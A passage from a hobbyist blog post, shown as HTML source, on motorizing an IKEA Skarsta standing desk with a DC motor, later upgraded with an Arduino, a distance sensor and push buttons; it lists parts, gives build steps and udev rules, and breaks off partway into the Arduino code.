&lt;p&gt;&lt;strong&gt;Careful&lt;/strong&gt;: this is a regenerative motor driver (&lt;a href="https://www.cytron.io/tutorial/md10-pot-controlling-dc-motor-without-writing-code"&gt;as described at the bottom here&lt;/a&gt;), meaning that when you stop powering the motor, it keeps spinning a bit before coming to a stop (due to inertia, while it's "braking"), and as a result the current flows back to the power source. As a consequence this driver should be used with a battery, not a switching power supply, because a battery can be charged but with a switching power supply the current has nowhere to go. For this project it is ok though as the desk is heavy and won't allow the motor to keep spinning when the power is cut.&lt;/p&gt;
&lt;p&gt;Learn more about &lt;a href="https://www.cytron.io/tutorial/5-easiest-ways-control-dc-motor"&gt;controlling a DC motor here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I bought mine on &lt;a href="https://botland.de/motortreiber-module/13450-cytron-md10-pot-dc-30v-10a-motortreiber-schalter-potentiometer-5904422377274.html"&gt;Botland.de&lt;/a&gt;. 12.48 euros.&lt;/p&gt;
&lt;h2 id="dc-connector-barrel-plug-adapter-25mm-x-55mm"&gt;DC Connector Barrel Plug Adapter 2.5mm x 5.5mm&lt;/h2&gt;
&lt;figure class="center"&gt;
&lt;img class="zoomable" src="https://romainpellerin.eu/images/motorizing-an-ikea-skarsta-standing-desk/dc-connector-barrel-plug-adapter.jpg" alt="A picture of a DC connector barrel plug adapter" /&gt;
&lt;figcaption&gt;The one I got&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;This is used to connect the DC power supply with the motor driver, &lt;a href="https://www.amazon.de/dp/B09TB4D8ZT"&gt;I got two from Amazon&lt;/a&gt;. 4.99 euros.&lt;/p&gt;
&lt;h2 id="misc"&gt;Misc&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Duct tape&lt;/li&gt;
&lt;li&gt;A grinder, to cut off the bent part of the hex key&lt;/li&gt;
&lt;li&gt;Electrical wire&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="how-to-build-it"&gt;How to build it&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;Cut off the bent part of the hex key with a grinder. We need a straight hex key.&lt;/li&gt;
&lt;li&gt;Replace the original crank with the hex key, mounted with the shaft coupler.&lt;/li&gt;
&lt;li&gt;Position the L-bracket with the motor at the end of the hex key and mark the final position with a pen.&lt;/li&gt;
&lt;li&gt;Screw the L-bracket to the desk using a drill (slow speed)&lt;/li&gt;
&lt;/ol&gt;
&lt;figure class="center"&gt;
  &lt;img src="https://romainpellerin.eu/images/motorizing-an-ikea-skarsta-standing-desk/step-4.jpg" alt="A picture the L-bracket attached to the desk" /&gt;
  &lt;figcaption&gt;The L-bracket is now attached to the desk&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;ol&gt;
&lt;li&gt;Secure the motor to the L-bracket&lt;/li&gt;
&lt;/ol&gt;
&lt;figure class="center"&gt;
  &lt;img src="https://romainpellerin.eu/images/motorizing-an-ikea-skarsta-standing-desk/step-5.jpg" alt="A picture of the motor attached to the L-bracket" /&gt;
  &lt;figcaption&gt;The motor is now attached to the L-bracket&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;ol&gt;
&lt;li&gt;Attach the power supply to the desk with a self-adhesive velcro, or just tape:&lt;/li&gt;
&lt;/ol&gt;
&lt;figure class="center"&gt;
  &lt;img src="https://romainpellerin.eu/images/motorizing-an-ikea-skarsta-standing-desk/step-6a.jpg" alt="A piece of self-adhesive velcro" /&gt;
  &lt;figcaption&gt;Self-adhesive velcro&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class="center"&gt;
  &lt;img src="https://romainpellerin.eu/images/motorizing-an-ikea-skarsta-standing-desk/step-6b.jpg" alt="A picture of velcro under the desk" /&gt;
  &lt;figcaption&gt;Velcro stuck to the desk&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class="center"&gt;
  &lt;img src="https://romainpellerin.eu/images/motorizing-an-ikea-skarsta-standing-desk/step-6c.jpg" alt="A picture showing the power supply wrapped in velcro and attached to the desk" /&gt;
  &lt;figcaption&gt;The power supply wrapped in velcro&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;ol&gt;
&lt;li&gt;Connect the motor to the DC motor driver using wires, and tape the junctions for improved safety&lt;/li&gt;
&lt;/ol&gt;
&lt;figure class="center"&gt;
  &lt;img src="https://romainpellerin.eu/images/motorizing-an-ikea-skarsta-standing-desk/step-7a.jpg" alt="A picture showing the taped junctions between the motor and the wires" /&gt;
  &lt;figcaption&gt;Put tape around the connections&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;ol&gt;
&lt;li&gt;Connect the power supply to the DC motor driver (pay attention to polarity) using the barrel and wrap it in tape for improved safety&lt;/li&gt;
&lt;/ol&gt;
&lt;figure class="center"&gt;
  &lt;img src="https://romainpellerin.eu/images/motorizing-an-ikea-skarsta-standing-desk/step-8.jpg" alt="A picture showing the power supply connected to the DC motor driver using the barel" /&gt;
  &lt;figcaption&gt;The barrel, connecting the DC motor driver and power supply, wrapped in tape&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;ol&gt;
&lt;li&gt;And last, tape everything under the desk, make sure nothing is hanging. I protected some parts (soldered points) of the motor driver board with tape. I placed the switch button near the edge of the desk to reach it easily. A better design would be to put everything in a small plastic box.&lt;/li&gt;
&lt;/ol&gt;
&lt;figure class="center"&gt;
  &lt;img class="zoomable big" src="https://romainpellerin.eu/images/motorizing-an-ikea-skarsta-standing-desk/step-9.jpg" alt="A picture showing the end result" /&gt;
  &lt;figcaption&gt;The end result&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h1 id="a-v2-of-my-project-would-be"&gt;A V2 of my project would be...&lt;/h1&gt;
&lt;p&gt;With a &lt;a href="https://www.cytron.io/c-motor-and-motor-driver/c-motor-driver/c-dc-motor-driver"&gt;different motor driver&lt;/a&gt;, that has "Over Current" and "Under Voltage" protections, such as the MD13S from Cytron. Also with an Arduino and auto-raise feature based on how long it takes to raise/lower it. I don't need to have multiple programmable positions, nor an OLED screen. An auto-raise/lower feature can be tricky, for the following reasons (copy/pasted from &lt;a href="https://github.com/cesar-moya/arduino-power-desktop/blob/master/MotorControl/MotorControl.ino"&gt;https://github.com/cesar-moya/arduino-power-desktop/blob/master/MotorControl/MotorControl.ino&lt;/a&gt;):&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If you activate auto-raise, and your desk was already at the maximum height,
then - depending on your desk - on the IKEA SKARSTA it will hit a stopping
point and the MOTORS WILL STALL for the amount of seconds that you recorded.
In other words, if you recorded 30 seconds to raise, and your desk is
already at the top position (or close), and you still enable auto-raise, you
risk damaging your motors as a full power will be sent to them but they will
be blocked. When using auto-raise and auto-lower you must ALWAYS be present
and watching the desk, ready to cancel the operation if the motors stall for
any reason.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;And finally, a nicer design, where everything is not taped underneath but put in a plastic box.&lt;/p&gt;
&lt;h1 id="upgrade-2024-version-2"&gt;Upgrade 2024: version 2!&lt;/h1&gt;
&lt;p&gt;To upgrade the desk, I wanted to make it smarter. I was tired of having to manually stop the desk at the desired height. I wanted to simply press a button, and it would raise/lower itself to the desired pre-defined position automatically, alone, while I'd be gone pooring myself some coffee 😁.&lt;/p&gt;
&lt;p&gt;To achieve this, I decided to implement the following logic:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Hardcode the maximum and minimum desired height in the code, based on my very own height and chair 😄. The current desk height could be measured with a sensor.&lt;/li&gt;
&lt;li&gt;BUT, if anything was in the way of the sensor (like a foot!), the measures would be off. To prevent the desk from raising too high for instance, I needed another safeguard: a maximum run time (time during which the motor is either raising or lowering the desk). Actually two values, cause the motor is quicker at lowering the desk than raising it.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For this V2, we're gonna reuse most of the what we used for the V1, but we'll also need additionally:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.berrybase.de/arduino-uno-r4-minima"&gt;Arduino Uno R4 Minima - 19.9 euros&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.amazon.de/dp/B0825RCZJS"&gt;2 push buttons - 7.99 euros for 7 buttons&lt;/a&gt;: one to raise the desk, one to lower it&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.berrybase.de/metallschichtwiderstand-10-0-kohm-1/4w-1-0207-axial-durchsteckmontage"&gt;2 10K-Ohm resistors - 0.05 euros each&lt;/a&gt;, for the buttons (&lt;a href="https://docs.arduino.cc/built-in-examples/digital/InputPullupSeriale"&gt;despite the Arduino having an internal pullup resistor that can be used&lt;/a&gt;, &lt;a href="https://forum.arduino.cc/t/resistor-why/108705/2"&gt;it's not reliable&lt;/a&gt; &lt;a href="https://forum.arduino.cc/t/push-buttons-and-resistors-why-and-how/584493"&gt;enough&lt;/a&gt;). Prefer metal film over carbon, supposedly they're more robust.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.berrybase.de/pololu-tb6612fng-dualer-motortreiber"&gt;Pololu TB6612FNG motor driver - 4.20 euros&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.berrybase.de/hc-sr04-ultraschall-sensor"&gt;HC-SR04 distance sensor - 1.49 euros&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.amazon.de/dp/B0983NSV6F"&gt;A 200*120*55mm junction box - 12.34 euros&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.amazon.de/dp/B0CBWTZNM5"&gt;2.54mm screw terminal blocks / screwshield - 7.59 euros&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Tape and wires:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.amazon.de/dp/B07K8PVKBP"&gt;male-female&lt;/a&gt;: 4.49 euros&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.amazon.de/dp/B07KKJ69DV"&gt;male-male&lt;/a&gt;: 4.49 euros&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.amazon.de/dp/B07KYHBVR7"&gt;female-female&lt;/a&gt;: 4.49 euros&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.amazon.de/dp/B09NSN458Y"&gt;2-male-to-1-female&lt;/a&gt;: 11.98 euros&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;No need for a buck converter, we'll plug the Arduino Uno R4 minima directly to the 12V power supply through its VIN pin, which accepts &lt;a href="https://docs.arduino.cc/tutorials/uno-r4-minima/cheat-sheet/"&gt;voltage ranging from 6 to 24V&lt;/a&gt;. See why just below.&lt;/p&gt;
&lt;h2 id="a-few-words-on-the-motor-driver"&gt;A few words on the motor driver&lt;/h2&gt;
&lt;p&gt;A lot of online tutorials recommend using the classic L298N for Arduino projects. Hower, a lot of people report issues with it on the Arduino forum. A common reply is &lt;a href="https://forum.arduino.cc/t/l298n-is-a-mess-helppp/903638"&gt;that the L298N motor driver is old and obsolete&lt;/a&gt;, one of its flaws is the 5V drop. People often suggest using modern motor drivers from &lt;a href="https://www.pololu.com/"&gt;Pololu&lt;/a&gt;, and the &lt;a href="https://www.pololu.com/product/713"&gt;TB6612FNG&lt;/a&gt; seemed like a good affordable option, even if it supports 2 motors and I'm only using it for one.&lt;/p&gt;
&lt;p&gt;To set up the TB6612FNG, I followed &lt;a href="https://adam-meyer.com/arduino/TB6612FNG"&gt;this tutorial&lt;/a&gt;. Like in the tutorial, I initially wanted to power the Arduino through the 5V output pin of the motor driver (VCC), which would be powered directly by the 12V power supply, but I could not get this to work. Measuring voltage between the GRD and VCC pins of the motor driver never showed anything beyond 3V. So I plugged the Arduino directly on the power supply, through its VIN and GND pins.&lt;/p&gt;
&lt;h2 id="arduino-ide"&gt;Arduino IDE&lt;/h2&gt;
&lt;p&gt;For the Arduino IDE to work on a desktop Linux distro with a R4 Minima board, I had to write:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;SUBSYSTEMS==&amp;quot;usb&amp;quot;, ATTRS{idVendor}==&amp;quot;2341&amp;quot;, ATTRS{idProduct}==&amp;quot;0069&amp;quot;, GROUP=&amp;quot;plugdev&amp;quot;, MODE=&amp;quot;0666&amp;quot;
SUBSYSTEMS==&amp;quot;usb&amp;quot;, ATTRS{idVendor}==&amp;quot;2341&amp;quot;, ATTRS{idProduct}==&amp;quot;0369&amp;quot;, GROUP=&amp;quot;plugdev&amp;quot;, MODE=&amp;quot;0666&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;in &lt;code&gt;/etc/udev/rules.d/99-arduino-uno-r4.rules&lt;/code&gt;. Then &lt;code&gt;sudo udevadm control --reload-rules &amp;amp;&amp;amp; sudo udevadm trigger&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="soldering"&gt;Soldering&lt;/h2&gt;
&lt;p&gt;As you can see further below in the schematic, a bit of soldering is required, specifically if you want to avoid using a breadboard, when connecting 3 wires together, for instance.&lt;/p&gt;
&lt;video controls&gt;
    &lt;source src="./videos/standing-desk-soldering.mp4" type="video/mp4"&gt;
&lt;/video&gt;

&lt;h2 id="schematic-and-photos"&gt;Schematic and photos&lt;/h2&gt;
&lt;figure class="center"&gt;
&lt;img class="zoomable big" src="https://romainpellerin.eu/images/motorizing-an-ikea-skarsta-standing-desk/standing-desk_bb.png" alt="Fritzing schematic" /&gt;
&lt;figcaption&gt;Schematic of the whole wiring&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure class="center"&gt;
  &lt;img src="https://romainpellerin.eu/images/motorizing-an-ikea-skarsta-standing-desk/distance-sensor.jpg" alt="A photo of the distance sensor" /&gt;
  &lt;figcaption&gt;The distance sensor, outside the box&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure class="center"&gt;
  &lt;img src="https://romainpellerin.eu/images/motorizing-an-ikea-skarsta-standing-desk/v2.jpg" alt="A picture of all the components inside the box" /&gt;
  &lt;figcaption&gt;Inside the box&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;The box is attached to the desk with 2 screws, that can be seen in the photo above, sticking out in the box. The screws are directly screwed in the desk.&lt;/p&gt;
&lt;h2 id="code"&gt;Code&lt;/h2&gt;
&lt;p&gt;Now, here's the Arduino code:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// Distance sensor pins&lt;/span&gt;
&lt;span class="cp"&gt;#define TRIGGER_PIN 5&lt;/span&gt;
&lt;span class="cp"&gt;#define ECHO_PIN 7&lt;/span&gt;

&lt;span class="c1"&gt;// Motor driver pins&lt;/span&gt;
&lt;span class="cp"&gt;#define STBY_PIN 10&lt;/span&gt;
&lt;span class="cp"&gt;#define AIN1_PIN 3&lt;/span&gt;
&lt;span class="cp"&gt;#define AIN2_PIN 4&lt;/span&gt;
&lt;span class="cp"&gt;#define PWMA_PIN 6&lt;/span&gt;

&lt;span class="c1"&gt;// Buttons&lt;/span&gt;
&lt;span class="cp"&gt;#define LOWER_DESK_BUTTON 13&lt;/span&gt;
&lt;span class="cp"&gt;#define RAISE_DESK_BUTTON 12&lt;/span&gt;

&lt;span class="c1"&gt;// Moving states&lt;/span&gt;
&lt;span class="cp"&gt;#define LOWER_DIRECTION 0&lt;/span&gt;
&lt;span class="cp"&gt;#define RAISE_DIRECTION 1&lt;/span&gt;
&lt;span class="cp"&gt;#define IDLE -1&lt;/span&gt;

&lt;span class="c1"&gt;// Settings&lt;/span&gt;
&lt;span class="cp"&gt;#define MIN_HEIGHT 66.4&lt;/span&gt;
&lt;span class="cp"&gt;#define MAX_HEIGHT 106.0&lt;/span&gt;
&lt;span class="cp"&gt;#define LOWER_TIME_OUT_AFTER_MS 43000&lt;/span&gt;
&lt;span class="cp"&gt;#define RAISE_TIME_OUT_AFTER_MS 63000&lt;/span&gt;
&lt;span class="cp"&gt;#define LOOP_DELAY 100&lt;/span&gt;
&lt;span class="cp"&gt;#define IGNORE_DELTA_IN_CM_GREATHER_THAN 1.5&lt;/span&gt;

&lt;span class="c1"&gt;// Distance sensor variables&lt;/span&gt;
&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;duration&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="kt"&gt;float&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;deltaWithLastKnownCm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;cm&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lastKnownCm&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="c1"&gt;// Moving state variables&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;movingDirection&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IDLE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;movingStartedAt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// in milliseconds&lt;/span&gt;

&lt;span class="kt"&gt;float&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;readHeight&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// The sensor is triggered by a HIGH pulse of 10 or more microseconds.&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// Give a short LOW pulse beforehand to ensure a clean HIGH pulse:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;digitalWrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TRIGGER_PIN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LOW&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;delayMicroseconds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;digitalWrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TRIGGER_PIN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HIGH&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;delayMicroseconds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;digitalWrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TRIGGER_PIN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LOW&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// Read the signal from the sensor: a HIGH pulse whose&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// duration is the time (in microseconds) from the sending&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// of the ping to the reception of its echo off of an object.&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;pinMode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ECHO_PIN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;INPUT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;duration&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pulseIn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ECHO_PIN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HIGH&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;float&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;duration&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0.0343&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Convert the time into a distance&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;setup&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;begin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;9600&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Enable logs&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// Distance sensor&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;pinMode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TRIGGER_PIN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OUTPUT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;pinMode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ECHO_PIN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;INPUT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// Buttons&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;pinMode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;LOWER_DESK_BUTTON&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;INPUT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;pinMode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;RAISE_DESK_BUTTON&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;INPUT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// Motor&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;pinMode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;STBY_PIN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OUTPUT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;pinMode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PWMA_PIN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OUTPUT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;pinMode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;AIN1_PIN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OUTPUT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;pinMode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;AIN2_PIN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OUTPUT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// while (!Serial); // While the serial stream is not open, do nothing. FOR DEBUGGING ONLY, when the logs from line 73 are needed.&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lastKnownCm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;readHeight&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// Serial.println(&amp;quot;SETUP!!! Height: &amp;quot; + String(cm) + &amp;quot; cm; Lastknowncm: &amp;quot; + lastKnownCm + &amp;quot; cm&amp;quot;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;LOOP_DELAY&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Needed, otherwise the very next reading of height won&amp;#39;t work, we&amp;#39;d have to wait the second call to loop()...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;loop&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
